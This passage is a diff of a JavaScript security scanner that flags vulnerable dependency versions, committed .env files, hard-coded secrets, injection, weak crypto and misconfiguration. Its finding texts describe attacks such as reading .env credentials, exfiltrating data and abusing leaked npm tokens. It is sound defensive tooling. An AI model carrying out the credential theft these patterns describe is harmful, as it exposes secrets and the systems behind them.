pattern: /"underscore"\s*:\s*"[<^~]?1\.(?:1[0-2]|[0-9])\./g,
|
|
1048
|
+
severity: 'high',
|
|
1049
|
+
description: 'Underscore < 1.13.6 has arbitrary code execution via template()',
|
|
1050
|
+
},
|
|
1051
|
+
{
|
|
1052
|
+
name: 'Shell.js Command Injection',
|
|
1053
|
+
pattern: /"shelljs"\s*:\s*"[<^~]?0\.[0-7]\./g,
|
|
1054
|
+
severity: 'high',
|
|
1055
|
+
description: 'shelljs < 0.8.5 has command injection vulnerability',
|
|
1056
|
+
},
|
|
1057
|
+
{
|
|
1058
|
+
name: 'Handlebars Prototype Pollution',
|
|
1059
|
+
pattern: /"handlebars"\s*:\s*"[<^~]?[0-3]\./g,
|
|
1060
|
+
severity: 'high',
|
|
1061
|
+
description: 'Handlebars < 4.7.7 has prototype pollution (CVE-2021-23369)',
|
|
1062
|
+
},
|
|
1063
|
+
{
|
|
1064
|
+
name: 'Moment.js ReDoS',
|
|
1065
|
+
pattern: /"moment"\s*:\s*"[<^~]?2\.(?:2[0-8]|1\d|[0-9])\./g,
|
|
1066
|
+
severity: 'medium',
|
|
1067
|
+
description: 'moment < 2.29.4 has ReDoS vulnerability in date parsing',
|
|
1068
|
+
},
|
|
1069
|
+
{
|
|
1070
|
+
name: 'dot-prop Prototype Pollution',
|
|
1071
|
+
pattern: /"dot-prop"\s*:\s*"[<^~]?[0-4]\./g,
|
|
1072
|
+
severity: 'high',
|
|
1073
|
+
description: 'dot-prop < 5.1.1 has prototype pollution vulnerability',
|
|
1074
|
+
},
|
|
1075
|
+
];
|
|
1076
|
+
// ── Scanning Functions ─────────────────────────────────────────────────────────
|
|
1077
|
+
function scanSecrets(files, baseDir) {
|
|
1078
|
+
const findings = [];
|
|
1079
|
+
let findingId = 0;
|
|
1080
|
+
for (const file of files) {
|
|
1081
|
+
const relPath = relative(baseDir, file.path);
|
|
1082
|
+
// Check if this is a .env file that should not be committed
|
|
1083
|
+
const basename = file.path.split('/').pop() || '';
|
|
1084
|
+
if (basename.startsWith('.env') && basename !== '.env.example' && basename !== '.env.template') {
|
|
1085
|
+
findings.push({
|
|
1086
|
+
id: `SEC-${++findingId}`,
|
|
1087
|
+
severity: 'critical',
|
|
1088
|
+
category: 'Secrets',
|
|
1089
|
+
title: 'Environment File in Source',
|
|
1090
|
+
description: `.env file found in repository — likely contains secrets`,
|
|
1091
|
+
file: relPath,
|
|
1092
|
+
line: 1,
|
|
1093
|
+
evidence: `File: ${basename} (${file.lines.length} lines)`,
|
|
1094
|
+
exploitation: 'Attacker reads .env to obtain database credentials, API keys, and internal service URLs',
|
|
1095
|
+
cwe: 'CWE-538',
|
|
1096
|
+
remediation: 'Add to .gitignore, rotate all secrets, use .env.example for templates',
|
|
1097
|
+
});
|
|
1098
|
+
}
|
|
1099
|
+
for (const pattern of SECRET_PATTERNS) {
|
|
1100
|
+
// Special handling: env var pattern only for .env files
|
|
1101
|
+
if (pattern.name === 'Env File in Source' && !basename.startsWith('.env'))
|
|
1102
|
+
continue;
|
|
1103
|
+
if (pattern.name !== 'Env File in Source' && basename.startsWith('.env')) {
|
|
1104
|
+
// .env files checked above, skip generic patterns for them to avoid noise
|
|
1105
|
+
}
|
|
1106
|
+
for (let i = 0; i < file.lines.length; i++) {
|
|
1107
|
+
const line = file.lines[i];
|
|
1108
|
+
// Skip comments
|
|
1109
|
+
const trimmed = line.trim();
|
|
1110
|
+
if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*') || trimmed.startsWith('/*')) {
|
|
1111
|
+
// Unless the comment itself contains a secret (people paste keys in comments)
|
|
1112
|
+
if (!pattern.pattern.test(line))
|
|
1113
|
+
continue;
|
|
1114
|
+
}
|
|
1115
|
+
// Skip test/example files for some patterns
|
|
1116
|
+
if (relPath.includes('.test.') || relPath.includes('.spec.') || relPath.includes('__test__')) {
|
|
1117
|
+
if (pattern.severity === 'medium' || pattern.severity === 'low')
|
|
1118
|
+
continue;
|
|
1119
|
+
}
|
|
1120
|
+
// Reset regex lastIndex
|
|
1121
|
+
pattern.pattern.lastIndex = 0;
|
|
1122
|
+
const match = pattern.pattern.exec(line);
|
|
1123
|
+
if (match) {
|
|
1124
|
+
// Avoid false positives: skip if line looks like a type definition or import
|
|
1125
|
+
if (/^(?:import|export|type|interface|const\s+\w+\s*:\s*string|\/\/|#|\*|\/\*)/.test(trimmed)) {
|
|
1126
|
+
// But still flag if it has an actual secret value
|
|
1127
|
+
if (!/[=:]\s*['"][^'"]{10,}['"]/.test(line) && !line.includes('-----BEGIN'))
|
|
1128
|
+
continue;
|
|
1129
|
+
}
|
|
1130
|
+
// Mask the evidence to avoid leaking the actual secret in reports
|
|
1131
|
+
const evidence = maskSecret(line.trim(), match[0]);
|
|
1132
|
+
findings.push({
|
|
1133
|
+
id: `SEC-${++findingId}`,
|
|
1134
|
+
severity: pattern.severity,
|
|
1135
|
+
category: 'Secrets',
|
|
1136
|
+
title: pattern.name,
|
|
1137
|
+
description: pattern.description,
|
|
1138
|
+
file: relPath,
|
|
1139
|
+
line: i + 1,
|
|
1140
|
+
evidence,
|
|
1141
|
+
exploitation: `Attacker uses leaked ${pattern.name.toLowerCase()} to access protected resources, impersonate services, or exfiltrate data`,
|
|
1142
|
+
cwe: pattern.cwe,
|
|
1143
|
+
remediation: 'Move to environment variables, rotate the compromised credential, add file to .gitignore',
|
|
1144
|
+
});
|
|
1145
|
+
}
|
|
1146
|
+
}
|
|
1147
|
+
}
|
|
1148
|
+
}
|
|
1149
|
+
return findings;
|
|
1150
|
+
}
|
|
1151
|
+
function maskSecret(line, matched) {
|
|
1152
|
+
if (matched.length <= 8)
|
|
1153
|
+
return line;
|
|
1154
|
+
const visible = matched.slice(0, 4);
|
|
1155
|
+
const masked = visible + '*'.repeat(Math.min(matched.length - 4, 20));
|
|
1156
|
+
return line.replace(matched, masked);
|
|
1157
|
+
}
|
|
1158
|
+
function scanInjection(files, baseDir) {
|
|
1159
|
+
const findings = [];
|
|
1160
|
+
let findingId = 0;
|
|
1161
|
+
for (const file of files) {
|
|
1162
|
+
const relPath = relative(baseDir, file.path);
|
|
1163
|
+
// Skip non-code files
|
|
1164
|
+
const codeExts = new Set(['.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java', '.php', '.rs', '.c', '.cpp', '.cs', '.mjs', '.cjs']);
|
|
1165
|
+
if (!codeExts.has(file.ext))
|
|
1166
|
+
continue;
|
|
1167
|
+
for (const pattern of INJECTION_PATTERNS) {
|
|
1168
|
+
for (let i = 0; i < file.lines.length; i++) {
|
|
1169
|
+
const line = file.lines[i];
|
|
1170
|
+
const trimmed = line.trim();
|
|
1171
|
+
// Skip comments
|
|
1172
|
+
if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
|
|
1173
|
+
continue;
|
|
1174
|
+
// Reset regex
|
|
1175
|
+
pattern.pattern.lastIndex = 0;
|
|
1176
|
+
if (pattern.pattern.test(line)) {
|
|
1177
|
+
// Extra context: check surrounding lines for sanitization
|
|
1178
|
+
const contextBefore = file.lines.slice(Math.max(0, i - 5), i).join('\n');
|
|
1179
|
+
const contextAfter = file.lines.slice(i + 1, Math.min(file.lines.length, i + 3)).join('\n');
|
|
1180
|
+
const context = contextBefore + '\n' + line + '\n' + contextAfter;
|
|
1181
|
+
// Look for sanitization indicators to reduce false positives
|
|
1182
|
+
const sanitized = /(?:sanitize|escape|encode|validate|zod|joi|yup|ajv|parameterized|prepared|placeholder|\$[0-9]+|%s)/i.test(context);
|
|
1183
|
+
const effectiveSeverity = sanitized ? lowerSeverity(pattern.severity) : pattern.severity;
|
|
1184
|
+
findings.push({
|
|
1185
|
+
id: `INJ-${++findingId}`,
|
|
1186
|
+
severity: effectiveSeverity,
|
|
1187
|
+
category: pattern.category,
|
|
1188
|
+
title: pattern.name,
|
|
1189
|
+
description: pattern.description,
|
|
1190
|
+
file: relPath,
|
|
1191
|
+
line: i + 1,
|
|
1192
|
+
evidence: trimmed.slice(0, 200),
|
|
1193
|
+
exploitation: pattern.exploitation,
|
|
1194
|
+
cwe: pattern.cwe,
|
|
1195
|
+
remediation: getInjectionRemediation(pattern.category),
|
|
1196
|
+
});
|
|
1197
|
+
}
|
|
1198
|
+
}
|
|
1199
|
+
}
|
|
1200
|
+
}
|
|
1201
|
+
return findings;
|
|
1202
|
+
}
|
|
1203
|
+
function scanAuth(files, baseDir) {
|
|
1204
|
+
const findings = [];
|
|
1205
|
+
let findingId = 0;
|
|
1206
|
+
for (const file of files) {
|
|
1207
|
+
const relPath = relative(baseDir, file.path);
|
|
1208
|
+
const codeExts = new Set(['.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java', '.php', '.mjs', '.cjs']);
|
|
1209
|
+
if (!codeExts.has(file.ext))
|
|
1210
|
+
continue;
|
|
1211
|
+
for (const pattern of AUTH_PATTERNS) {
|
|
1212
|
+
for (let i = 0; i < file.lines.length; i++) {
|
|
1213
|
+
const line = file.lines[i];
|
|
1214
|
+
const trimmed = line.trim();
|
|
1215
|
+
if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
|
|
1216
|
+
continue;
|
|
1217
|
+
pattern.pattern.lastIndex = 0;
|
|
1218
|
+
if (pattern.pattern.test(line)) {
|
|
1219
|
+
// Check anti-pattern (presence means likely already mitigated)
|
|
1220
|
+
if (pattern.antiPattern) {
|
|
1221
|
+
const context = file.lines.slice(Math.max(0, i - 10), Math.min(file.lines.length, i + 10)).join('\n');
|
|
1222
|
+
pattern.antiPattern.lastIndex = 0;
|
|
1223
|
+
if (pattern.antiPattern.test(context))
|
|
1224
|
+
continue;
|
|
1225
|
+
}
|
|
1226
|
+
findings.push({
|
|
1227
|
+
id: `AUTH-${++findingId}`,
|
|
1228
|
+
severity: pattern.severity,
|
|
1229
|
+
category: 'Authentication',
|
|
1230
|
+
title: pattern.name,
|
|
1231
|
+
description: pattern.description,
|
|
1232
|
+
file: relPath,
|
|
1233
|
+
line: i + 1,
|
|
1234
|
+
evidence: trimmed.slice(0, 200),
|
|
1235
|
+
exploitation: `Attacker exploits ${pattern.name.toLowerCase()} to bypass authentication, escalate privileges, or hijack sessions`,
|
|
1236
|
+
cwe: pattern.cwe,
|
|
1237
|
+
remediation: getAuthRemediation(pattern.name),
|
|
1238
|
+
});
|
|
1239
|
+
}
|
|
1240
|
+
}
|
|
1241
|
+
}
|
|
1242
|
+
}
|
|
1243
|
+
return findings;
|
|
1244
|
+
}
|
|
1245
|
+
function scanCrypto(files, baseDir) {
|
|
1246
|
+
const findings = [];
|
|
1247
|
+
let findingId = 0;
|
|
1248
|
+
for (const file of files) {
|
|
1249
|
+
const relPath = relative(baseDir, file.path);
|
|
1250
|
+
const codeExts = new Set(['.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java', '.php', '.rs', '.c', '.cpp', '.cs', '.mjs', '.cjs']);
|
|
1251
|
+
if (!codeExts.has(file.ext))
|
|
1252
|
+
continue;
|
|
1253
|
+
for (const pattern of CRYPTO_PATTERNS) {
|
|
1254
|
+
for (let i = 0; i < file.lines.length; i++) {
|
|
1255
|
+
const line = file.lines[i];
|
|
1256
|
+
const trimmed = line.trim();
|
|
1257
|
+
if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
|
|
1258
|
+
continue;
|
|
1259
|
+
pattern.pattern.lastIndex = 0;
|
|
1260
|
+
if (pattern.pattern.test(line)) {
|
|
1261
|
+
findings.push({
|
|
1262
|
+
id: `CRYPTO-${++findingId}`,
|
|
1263
|
+
severity: pattern.severity,
|
|
1264
|
+
category: 'Cryptography',
|
|
1265
|
+
title: pattern.name,
|
|
1266
|
+
description: pattern.description,
|
|
1267
|
+
file: relPath,
|
|
1268
|
+
line: i + 1,
|
|
1269
|
+
evidence: trimmed.slice(0, 200),
|
|
1270
|
+
exploitation: `Attacker exploits weak cryptography: ${pattern.description}`,
|
|
1271
|
+
cwe: pattern.cwe,
|
|
1272
|
+
remediation: getCryptoRemediation(pattern.name),
|
|
1273
|
+
});
|
|
1274
|
+
}
|
|
1275
|
+
}
|
|
1276
|
+
}
|
|
1277
|
+
}
|
|
1278
|
+
return findings;
|
|
1279
|
+
}
|
|
1280
|
+
function scanConfig(files, baseDir) {
|
|
1281
|
+
const findings = [];
|
|
1282
|
+
let findingId = 0;
|
|
1283
|
+
for (const file of files) {
|
|
1284
|
+
const relPath = relative(baseDir, file.path);
|
|
1285
|
+
for (const pattern of CONFIG_PATTERNS) {
|
|
1286
|
+
for (let i = 0; i < file.lines.length; i++) {
|
|
1287
|
+
const line = file.lines[i];
|
|
1288
|
+
const trimmed = line.trim();
|
|
1289
|
+
if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
|
|
1290
|
+
continue;
|
|
1291
|
+
pattern.pattern.lastIndex = 0;
|
|
1292
|
+
if (pattern.pattern.test(line)) {
|
|
1293
|
+
// Skip positive findings (info severity for detected mitigations)
|
|
1294
|
+
if (pattern.severity === 'info' && pattern.name === 'Missing Security Headers')
|
|
1295
|
+
continue;
|
|
1296
|
+
findings.push({
|
|
1297
|
+
id: `CFG-${++findingId}`,
|
|
1298
|
+
severity: pattern.severity,
|
|
1299
|
+
category: 'Configuration',
|
|
1300
|
+
title: pattern.name,
|
|
1301
|
+
description: pattern.description,
|
|
1302
|
+
file: relPath,
|
|
1303
|
+
line: i + 1,
|
|
1304
|
+
evidence: trimmed.slice(0, 200),
|
|
1305
|
+
exploitation: `Attacker leverages misconfiguration: ${pattern.description}`,
|
|
1306
|
+
cwe: pattern.cwe,
|
|
1307
|
+
remediation: getConfigRemediation(pattern.name),
|
|
1308
|
+
});
|
|
1309
|
+
}
|
|
1310
|
+
}
|
|
1311
|
+
}
|
|
1312
|
+
}
|
|
1313
|
+
return findings;
|
|
1314
|
+
}
|
|
1315
|
+
function scanDeps(files, baseDir) {
|
|
1316
|
+
const findings = [];
|
|
1317
|
+
let findingId = 0;
|
|
1318
|
+
// Only scan package.json files
|
|
1319
|
+
const pkgFiles = files.filter(f => f.path.endsWith('package.json'));
|
|
1320
|
+
for (const file of pkgFiles) {
|
|
1321
|
+
const relPath = relative(baseDir, file.path);
|
|
1322
|
+
for (const pattern of DEP_PATTERNS) {
|
|
1323
|
+
pattern.pattern.lastIndex = 0;
|
|
1324
|
+
const match = pattern.pattern.exec(file.content);
|
|
1325
|
+
if (match) {
|
|
1326
|
+
const lineIndex = file.content.slice(0, match.index).split('\n').length;
|
|
1327
|
+
findings.push({
|
|
1328
|
+
id: `DEP-${++findingId}`,
|
|
1329
|
+
severity: pattern.severity,
|
|
1330
|
+
category: 'Dependencies',
|
|
1331
|
+
title: pattern.name,
|
|
1332
|
+
description: pattern.description,
|
|
1333
|
+
file: relPath,
|
|
1334
|
+
line: lineIndex,
|
|
1335
|
+
evidence: match[0].trim(),
|
|
1336
|
+
exploitation: `Attacker exploits known vulnerability in dependency: ${pattern.description}`,
|
|
1337
|
+
remediation: 'Update to the latest patched version. Run npm audit fix or equivalent.',
|
|
1338
|
+
});
|
|
1339
|
+
}
|
|
1340
|
+
}
|
|
1341
|
+
// Check for lack of lockfile
|
|
1342
|
+
const lockFile = file.path.replace('package.json', 'package-lock.json');
|
|
1343
|
+
const yarnLock = file.path.replace('package.json', 'yarn.lock');
|
|
1344
|
+
const pnpmLock = file.path.replace('package.json', 'pnpm-lock.yaml');
|
|
1345
|
+
if (!existsSync(lockFile) && !existsSync(yarnLock) && !existsSync(pnpmLock)) {
|
|
1346
|
+
findings.push({
|
|
1347
|
+
id: `DEP-${++findingId}`,
|
|
1348
|
+
severity: 'medium',
|
|
1349
|
+
category: 'Dependencies',
|
|
1350
|
+
title: 'Missing Lock File',
|
|
1351
|
+
description: 'No package lock file found — builds are not reproducible and vulnerable to dependency confusion',
|
|
1352
|
+
file: relPath,
|
|
1353
|
+
line: 1,
|
|
1354
|
+
evidence: 'package.json without lock file',
|
|
1355
|
+
exploitation: 'Attacker publishes malicious package version that gets installed due to lack of version pinning',
|
|
1356
|
+
remediation: 'Run npm install to generate package-lock.json and commit it',
|
|
1357
|
+
});
|
|
1358
|
+
}
|
|
1359
|
+
}
|
|
1360
|
+
// Check for .npmrc with registry overrides
|
|
1361
|
+
const npmrcFiles = files.filter(f => f.path.endsWith('.npmrc'));
|
|
1362
|
+
for (const file of npmrcFiles) {
|
|
1363
|
+
const relPath = relative(baseDir, file.path);
|
|
1364
|
+
if (file.content.includes('registry=') && !file.content.includes('registry=https://registry.npmjs.org')) {
|
|
1365
|
+
findings.push({
|
|
1366
|
+
id: `DEP-${++findingId}`,
|
|
1367
|
+
severity: 'medium',
|
|
1368
|
+
category: 'Dependencies',
|
|
1369
|
+
title: 'Custom npm Registry',
|
|
1370
|
+
description: 'Custom npm registry configured — verify it is trusted and uses HTTPS',
|
|
1371
|
+
file: relPath,
|
|
1372
|
+
line: 1,
|
|
1373
|
+
evidence: file.lines.find(l => l.includes('registry='))?.trim() || '',
|
|
1374
|
+
exploitation: 'Attacker compromises custom registry to serve malicious packages',
|
|
1375
|
+
remediation: 'Ensure registry uses HTTPS and is a trusted source',
|
|
1376
|
+
});
|
|
1377
|
+
}
|
|
1378
|
+
// Check for auth tokens in .npmrc
|
|
1379
|
+
if (file.content.includes('_authToken') || file.content.includes('_auth=')) {
|
|
1380
|
+
findings.push({
|
|
1381
|
+
id: `DEP-${++findingId}`,
|
|
1382
|
+
severity: 'high',
|
|
1383
|
+
category: 'Dependencies',
|
|
1384
|
+
title: 'npm Auth Token in File',
|
|
1385
|
+
description: 'npm authentication token found in .npmrc — should use environment variable',
|
|
1386
|
+
file: relPath,
|
|
1387
|
+
line: file.lines.findIndex(l => l.includes('_authToken') || l.includes('_auth=')) + 1,
|
|
1388
|
+
evidence: '[auth token masked]',
|
|
1389
|
+
exploitation: 'Attacker uses leaked npm token to publish malicious versions of your packages',
|
|
1390
|
+
cwe: 'CWE-798',
|
|
1391
|
+
remediation: 'Use NPM_TOKEN environment variable instead of hardcoding in .npmrc',
|
|
1392
|
+
});
|
|
1393
|
+
}
|
|
1394
|
+
}
|
|
1395
|
+
return findings;
|
|
1396
|
+
}
|
|
1397
|
+
// ── Helper Functions ───────────────────────────────────────────────────────────
|
|
1398
|
+
function lowerSeverity(severity) {
|
|
1399
|
+
switch (severity) {
|
|
1400
|
+
case 'critical': return 'high';
|
|
1401
|
+
case 'high': return 'medium';
|
|
1402
|
+
case 'medium': return 'low';
|
|
1403
|
+
default: return severity;
|
|
1404
|
+
}
|
|
1405
|
+
}
|
|
1406
|
+
function getInjectionRemediation(category) {
|
|
1407
|
+
switch (category) {
|
|
1408
|
+
case 'SQL Injection':
|
|
1409
|
+
return 'Use parameterized queries / prepared statements. Never concatenate user input into SQL strings. Use an ORM like Prisma, Drizzle, or Sequelize.';
|
|
1410
|
+
case 'NoSQL Injection':
|
|
1411
|
+
return 'Validate and sanitize all query parameters. Use schema validation (zod/joi). Never pass raw user input to MongoDB operators.';
|
|
1412
|
+
case 'XSS':
|
|
1413
|
+
return 'Use framework auto-escaping (React JSX). Avoid innerHTML/dangerouslySetInnerHTML. Sanitize with DOMPurify if raw HTML is needed. Set Content-Security-Policy headers.';
|
|
1414
|
+
case 'Code Injection':
|
|
1415
|
+
return 'Remove eval() and Function() usage. Use JSON.parse for data parsing. Use safe alternatives for dynamic code (vm2 sandbox if absolutely needed).';
|
|
1416
|
+
case 'Command Injection':
|
|
1417
|
+
return 'Use execFile/execFileSync instead of exec (no shell interpretation). Validate and sanitize all arguments. Use a whitelist of allowed commands.';
|
|
1418
|
+
case 'Path Traversal':
|
|
1419
|
+
return 'Use path.resolve and verify the resolved path starts with the expected base directory. Never use user input directly in file paths. Use path.normalize and check for "..".';
|
|
1420
|
+
case 'SSRF':
|
|
1421
|
+
return 'Validate URLs against an allowlist. Block private IP ranges (10.x, 172.16-31.x, 192.168.x, 169.254.x). Disable redirect following or validate each redirect destination.';
|
|
1422
|
+
case 'Template Injection':
|
|
1423
|
+
return 'Never pass user input as template strings. Use template data context only. Enable sandbox mode in template engines.';
|
|
1424
|
+
case 'LDAP Injection':
|
|
1425
|
+
return 'Escape special characters in LDAP queries. Use parameterized LDAP searches. Validate input against expected patterns.';
|
|
1426
|
+
case 'Deserialization':
|
|
1427
|
+
return 'Use schema validation (zod) after parsing. Avoid unsafe deserializers (pickle, yaml.load). Use yaml.safe_load in Python.';
|
|
1428
|
+
case 'Prototype Pollution':
|
|
1429
|
+
return 'Freeze Object.prototype. Use Object.create(null) for dictionaries. Validate keys against __proto__ and constructor. Use Map instead of plain objects.';
|
|
1430
|
+
case 'XXE':
|
|
1431
|
+
return 'Disable external entity processing in XML parser. Use defusedxml in Python. Set parser features to disallow DTDs.';
|
|
1432
|
+
case 'Open Redirect':
|
|
1433
|
+
return 'Validate redirect URLs against an allowlist of domains. Use relative paths only. Check URL hostname after parsing.';
|
|
1434
|
+
case 'Header Injection':
|
|
1435
|
+
return 'Validate header values. Strip CR/LF characters. Use framework-provided header methods that auto-escape.';
|
|
1436
|
+
case 'ReDoS':
|
|
1437
|
+
return 'Never construct regexes from user input. Use RE2 for user-provided patterns. Set regex execution timeouts. Use non-backtracking engines.';
|
|
1438
|
+
default:
|
|
1439
|
+
return 'Validate and sanitize all user input. Apply defense in depth.';
|
|
1440
|
+
}
|
|
1441
|
+
}
|
|
1442
|
+
function getAuthRemediation(name) {
|
|
1443
|
+
switch (name) {
|
|
1444
|
+
case 'Hardcoded JWT Secret':
|
|
1445
|
+
case 'Weak JWT Secret':
|
|
1446
|
+
return 'Use a strong, random JWT secret from environment variables. Generate with: node -e "console.log(require(\'crypto\').randomBytes(64).toString(\'hex\'))"';
|
|
1447
|
+
case 'JWT None Algorithm':
|
|
1448
|
+
return 'Explicitly specify allowed algorithms in jwt.verify: { algorithms: ["HS256"] }. Never include "none".';
|
|
1449
|
+
case 'Missing Auth Middleware (Express)':
|
|
1450
|
+
return 'Add authentication middleware before route handlers. Use passport.js, express-jwt, or custom auth middleware.';
|
|
1451
|
+
case 'Missing Rate Limiting':
|
|
1452
|
+
return 'Add express-rate-limit to auth endpoints. Example: rateLimit({ windowMs: 15*60*1000, max: 5 })';
|
|
1453
|
+
case 'Insecure Cookie (no httpOnly)':
|
|
1454
|
+
return 'Set httpOnly: true on all session/auth cookies to prevent JavaScript access.';
|
|
1455
|
+
case 'Insecure Cookie (no secure flag)':
|
|
1456
|
+
return 'Set secure: true on all cookies to ensure HTTPS-only transmission.';
|
|
1457
|
+
case 'Session Fixation':
|
|
1458
|
+
return 'Regenerate session ID after authentication. Use req.session.regenerate() in Express.';
|
|
1459
|
+
case 'Missing CSRF Protection':
|
|
1460
|
+
return 'Add CSRF middleware (csurf for Express). Use SameSite=Strict cookies. Validate Origin header.';
|
|
1461
|
+
case 'Weak Password Validation':
|
|
1462
|
+
return 'Require minimum 12 characters, mix of upper/lower/numbers/symbols. Use zxcvbn for strength estimation.';
|
|
1463
|
+
default:
|
|
1464
|
+
return 'Follow OWASP authentication best practices. Implement defense in depth.';
|
|
1465
|
+
}
|
|
1466
|
+
}
|
|
1467
|
+
function getCryptoRemediation(name) {
|
|
1468
|
+
switch (name) {
|
|
1469
|
+
case 'MD5 for Password Hashing':
|
|
1470
|
+
case 'SHA1 for Password Hashing':
|
|
1471
|
+
case 'No Salt in Hashing':
|
|
1472
|
+
return 'Use bcrypt (cost >= 12), scrypt, or argon2id for password hashing. These include salt and are intentionally slow.';
|
|
1473
|
+
case 'MD5 Usage (general)':
|
|
1474
|
+
case 'SHA1 Usage (general)':
|
|
1475
|
+
return 'Use SHA-256 or SHA-3 for general hashing. MD5/SHA1 are only acceptable for non-security checksums.';
|
|
1476
|
+
case 'ECB Mode':
|
|
1477
|
+
return 'Use AES-GCM (authenticated encryption) or AES-CBC with HMAC. Never use ECB mode.';
|
|
1478
|
+
case 'Hardcoded Encryption Key':
|
|
1479
|
+
case 'Hardcoded IV/Nonce':
|
|
1480
|
+
return 'Store keys in environment variables or a key management service (AWS KMS, HashiCorp Vault). Generate IVs randomly for each encryption.';
|
|
1481
|
+
case 'Math.random() for Security':
|
|
1482
|
+
case 'Math.random() General':
|
|
1483
|
+
return 'Use crypto.randomBytes() or crypto.getRandomValues() for security-sensitive random values.';
|
|
1484
|
+
case 'Weak Key Size':
|
|
1485
|
+
return 'Use minimum 2048-bit RSA keys (4096 recommended). Use 256-bit keys for symmetric encryption.';
|
|
1486
|
+
case 'DES/3DES Usage':
|
|
1487
|
+
case 'RC4 Usage':
|
|
1488
|
+
return 'Migrate to AES-256-GCM. DES, 3DES, and RC4 are cryptographically broken.';
|
|
1489
|
+
case 'Deprecated createCipher':
|
|
1490
|
+
return 'Use crypto.createCipheriv() with AES-256-GCM and a random IV.';
|
|
1491
|
+
case 'Bcrypt Low Rounds':
|
|
1492
|
+
return 'Increase bcrypt salt rounds to at least 12 (recommended: 12-14). Balance security vs. performance.';
|
|
1493
|
+
default:
|
|
1494
|
+
return 'Follow NIST cryptographic guidelines. Use well-tested libraries, not custom implementations.';
|
|
1495
|
+
}
|
|
1496
|
+
}
|
|
1497
|
+
function getConfigRemediation(name) {
|
|
1498
|
+
switch (name) {
|
|
1499
|
+
case 'Debug Mode Enabled':
|
|
1500
|
+
return 'Disable debug mode in production. Use NODE_ENV=production. Remove debug flags from deployment configs.';
|
|
1501
|
+
case 'CORS Wildcard':
|
|
1502
|
+
case 'CORS Credentials with Wildcard':
|
|
1503
|
+
return 'Specify exact allowed origins. Never use * with credentials. Validate Origin header server-side.';
|
|
1504
|
+
case 'Default Credentials':
|
|
1505
|
+
return 'Remove all default/test credentials. Use environment variables. Enforce credential rotation.';
|
|
1506
|
+
case 'Verbose Error Messages':
|
|
1507
|
+
case 'Stack Trace in Response':
|
|
1508
|
+
return 'Use generic error messages in production. Log detailed errors server-side only. Never send stack traces to clients.';
|
|
1509
|
+
case 'Insecure TLS Version':
|
|
1510
|
+
return 'Require TLS 1.2 minimum (TLS 1.3 preferred). Disable SSLv2, SSLv3, TLS 1.0, TLS 1.1.';
|
|
1511
|
+
case 'Disabled Security Feature':
|
|
1512
|
+
return 'Never disable SSL verification in production. If needed for development, ensure it is not deployed.';
|
|
1513
|
+
case 'Directory Listing Enabled':
|
|
1514
|
+
return 'Disable directory listing. Use explicit routes for file serving.';
|
|
1515
|
+
case 'Permissive File Upload':
|
|
1516
|
+
return 'Validate file types (check magic bytes, not just extension). Limit file size. Store outside webroot. Scan for malware.';
|
|
1517
|
+
default:
|
|
1518
|
+
return 'Review configuration against security best practices. Apply principle of least privilege.';
|
|
1519
|
+
}
|
|
1520
|
+
}
|
|
1521
|
+
// ── Report Formatting ──────────────────────────────────────────────────────────
|
|
1522
|
+
function formatFindings(findings) {
|
|
1523
|
+
if (findings.length === 0)
|
|
1524
|
+
return '_No findings in this category._\n';
|
|
1525
|
+
const lines = [];
|
|
1526
|
+
const sorted = findings.sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity]);
|
|
1527
|
+
for (const f of sorted) {
|
|
1528
|
+
lines.push(`### ${f.id}: ${f.title}`);
|
|
1529
|
+
lines.push(`**Severity**: ${f.severity.toUpperCase()} | **Category**: ${f.category}${f.cwe ? ` | **CWE**: ${f.cwe}` : ''}`);
|
|
1530
|
+
lines.push(`**File**: \`${f.file}\` (line ${f.line})`);
|
|
1531
|
+
lines.push(`**Evidence**: \`${f.evidence.slice(0, 150)}\``);
|
|
1532
|
+
lines.push(`**Description**: ${f.description}`);
|
|
1533
|
+
lines.push(`**Exploitation**: ${f.exploitation}`);
|
|
1534
|
+
if (f.remediation) {
|
|
1535
|
+
lines.push(`**Remediation**: ${f.remediation}`);
|
|
1536
|
+
}
|
|
1537
|
+
lines.push('');
|
|
1538
|
+
}
|
|
1539
|
+
return lines.join('\n');
|
|
1540
|
+
}
|
|
1541
|
+
function calculateRiskScore(findings) {
|
|
1542
|
+
if (findings.length === 0)
|
|
1543
|
+
return 0;
|
|
1544
|
+
let score = 0;
|
|
1545
|
+
for (const f of findings) {
|
|
1546
|
+
score += SEVERITY_SCORE[f.severity] || 0;
|
|
1547
|
+
}
|
|
1548
|
+
// Normalize to 0-100 scale
|
|
1549
|
+
// A single critical = 10, normalize so 10 criticals = 100
|
|
1550
|
+
return Math.min(100, Math.round(score));
|
|
1551
|
+
}
|
|
1552
|
+
function riskGrade(score) {
|
|
1553
|
+
if (score === 0)
|
|
1554
|
+
return 'A+';
|
|
1555
|
+
if (score <= 5)
|
|
1556
|
+
return 'A';
|
|
1557
|
+
if (score <= 15)
|
|
1558
|
+
return 'B';
|
|
1559
|
+
if (score <= 30)
|
|
1560
|
+
return 'C';
|
|
1561
|
+
if (score <= 50)
|
|
1562
|
+
return 'D';
|
|
1563
|
+
return 'F';
|
|
1564
|
+
}
|
|
1565
|
+
function severityCounts(findings) {
|
|
1566
|
+
const counts = { critical: 0, high: 0, medium: 0, low: 0, info: 0 };
|
|
1567
|
+
for (const f of findings) {
|
|
1568
|
+
counts[f.severity] = (counts[f.severity] || 0) + 1;
|
|
1569
|
+
}
|
|
1570
|
+
return counts;
|
|
1571
|
+
}
|
|
1572
|
+
// ── Blue Team: Hardening Code Generators ───────────────────────────────────────
|
|
1573
|
+
function generateSecurityHeaders() {
|
|
1574
|
+
return `
|
|
1575
|
+
## Security Headers Middleware
|
|
1576
|
+
|
|
1577
|
+
### Express.js (using helmet)
|
|
1578
|
+
|
|
1579
|
+
\`\`\`typescript
|
|
1580
|
+
import helmet from 'helmet'
|
|
1581
|
+
|
|
1582
|
+
app.use(helmet({
|
|
1583
|
+
